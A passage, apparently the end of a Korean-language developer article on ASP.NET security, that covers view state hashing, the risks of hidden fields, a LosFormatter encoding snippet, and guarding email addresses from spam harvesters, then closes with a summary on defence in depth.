그림 2와 같이 변조를 감지하기 위해 모든 요청에서 확인되는 해시 값이 뷰 상태에 추가됩니다. 몇 가지 경우를 제외한다면 ASP.NET에서는 숨겨진 필드를 사용하지 않아도 됩니다. 같은 작업이라도 뷰 상태가 훨씬 더 안전한 방법으로 작업을 수행하기 때문입니다.
가격이나 신용 카드 정보 같은 중요한 값을 일반 숨겨진 필드에 저장하는 것은 해커의 침입을 위해 문을 열어 주는 것이나 다름없습니다. 뷰 상태를 사용하면 해당 데이터 보호 메커니즘으로 인해 이러한 잘못된 작업의 위험도 줄일 수가 있습니다. 그러나 뷰 상태가 변조를 방지하기는 하지만 암호화하지 않는 한 신뢰성을 보장하지는 못하므로, 신용 카드 정보를 뷰 상태에 저장하는 것 역시 위험합니다.
ASP.NET에서 숨겨진 필드를 사용할 수 있는 경우는 서버로 데이터를 다시 보내야 하는 사용자 지정 컨트롤을 빌드할 때입니다. 예를 들어 열 순서 재지정을 지원하는 DataGrid 컨트롤을 새로 만드는 경우가 있습니다. 포스트백(postback)에서 새 순서를 다시 서버로 전달해야 합니다. 이때 이 정보를 숨겨진 필드에 저장합니다.
숨겨진 필드가 읽기/쓰기 필드인 경우, 즉 클라이언트가 이 필드에 쓸 수 있는 경우에는 해킹 방지를 위해 할 수 있는 일은 거의 없습니다. 텍스트를 해시하거나 암호화할 수 있지만 이를 통해 해킹이 완벽하게 방지된다고는 확신할 수 없습니다. 가장 좋은 방어 수단은 숨겨진 필드에 비활성 및 무해한 정보만 포함되도록 하는 것입니다.
ASP.NET에서는 serialize된 모든 개체를 인코딩 및 해시하는 데 사용할 수 있는 잘 알려지지 않은 클래스를 제공합니다. 이는 LosFormatter 클래스로, ViewState 구현에서 클라이언트로 왕복되는 인코딩된 텍스트를 만드는 데 사용하는 것과 동일한 클래스입니다.
private string EncodeText(string text) {
StringWriter writer = new StringWriter();
LosFormatter formatter = new LosFormatter();
formatter.Serialize(writer, text);
return writer.ToString();
}
앞에 나와 있는 코드 조각에서는 LosFormatter를 사용하여 뷰 상태와 비슷하고 인코딩 및 해시된 콘텐츠를 만드는 방법을 보여 줍니다.
전자 메일과 스팸
마지막으로 언급하자면, 최소한 가장 일반적인 두 가지 공격(일반 XSS와 한 번 클릭)은 의심하지 않는 공격 대상에게 스푸핑된 유인 링크를 클릭하도록 하는 방법으로 수행되는 경우가 많습니다. 스팸 방지 필터 기능을 사용하고 있음에도 불구하고 받은 편지함에서 그러한 링크가 들어 있는 메일을 여러 번 발견했습니다. 대량의 전자 메일 주소 목록을 쉽게 구입할 수 있습니다. 그러한 목록을 만드는 데 사용되는 주요 기술 중 하나는 웹 사이트의 공개 페이지를 검색하여 전자 메일 주소처럼 보이는 것은 모두 찾아 수집해 오는 것입니다.
페이지에 전자 메일 주소가 표시되어 있으면 웹 로봇으로 언제든지 가져올 수 있습니다. 정말이냐구요? 이는 전자 메일 주소 표시 방법에 따라 달라집니다. 주소를 하드 코드로 입력했다면 수집될 가능성이 높습니다. dino-at-microsoft-dot-com 등의 대체 표현을 사용하는 경우에는 웹 로봇이 주소를 수집하지 못하는지도 확실치 않을 뿐더러 적법한 연락처를 지정하려는 사용자도 페이지를 읽을 때 불편할 것입니다.
무엇보다도 전자 메일 주소를 mailto 링크처럼 동적으로 생성할 수 있는 방법을 찾아야 합니다. 이는 Marco Bellinaso가 작성한 무료 구성 요소를 통해 수행할 수 있습니다. 전체 소스 코드가 포함된 이 구성 요소를 DotNet2TheMax 웹 사이트에서 받을 수 있습니다.
요약
의심할 여지 없이 모든 런타임 환경 중 가장 위험한 환경은 웹일 것입니다. 누구나 웹 사이트에 액세스하여 올바른 데이터와 악의적인 데이터를 전달할 수 있기 때문입니다. 그러나 이를 방지하기 위해 사용자 입력을 받아들이지 않는 웹 응용 프로그램을 만드는 것도 의미가 없습니다.
그러므로 아무리 강력한 방화벽을 사용하고 자주 패치를 적용해도 본질적으로 취약한 웹 응용 프로그램을 실행한다면 공격자는 주 출입문(포트 80)을 통해 시스템으로 진입할 수 있습니다.
ASP.NET 응용 프로그램도 다른 웹 응용 프로그램보다 더 취약하지도, 안전하지도 않습니다. 코딩 방법, 현장 경험 및 팀워크에 따라 응용 프로그램이 안전해질 수도 있고 취약해질 수도 있습니다. 네트워크가 안전하지 않다면 어떤 응용 프로그램도 안전하지 않습니다. 마찬가지로, 네트워크를 안전하게 잘 관리하더라도 응용 프로그램에 결함이 있으면 공격자가 침입할 것입니다.
ASP.NET의 장점은 여러 과정을 거쳐야 통과가 가능한 높은 수준의 보안을 구축할 수 있는 뛰어난 도구를 제공한다는 것입니다. 그래도 아직은 충분한 수준이 아닙니다. ASP.NET의 기본 제공 솔루션을 무시해서도 안 되겠지만 전적으로 의지하지는 마십시오. 그리고 일반적인 공격에 대해 가능한 한 많은 정보를 파악하십시오.
이 기사에는 기본 제공 기능에 대한 자세한 목록과 공격 및 방어에 대한 몇 가지 배경 정보가 나와 있습니다. 진행 중인 공격을 감지하는 기술은 다른 기사에서 확인해 보시기 바랍니다.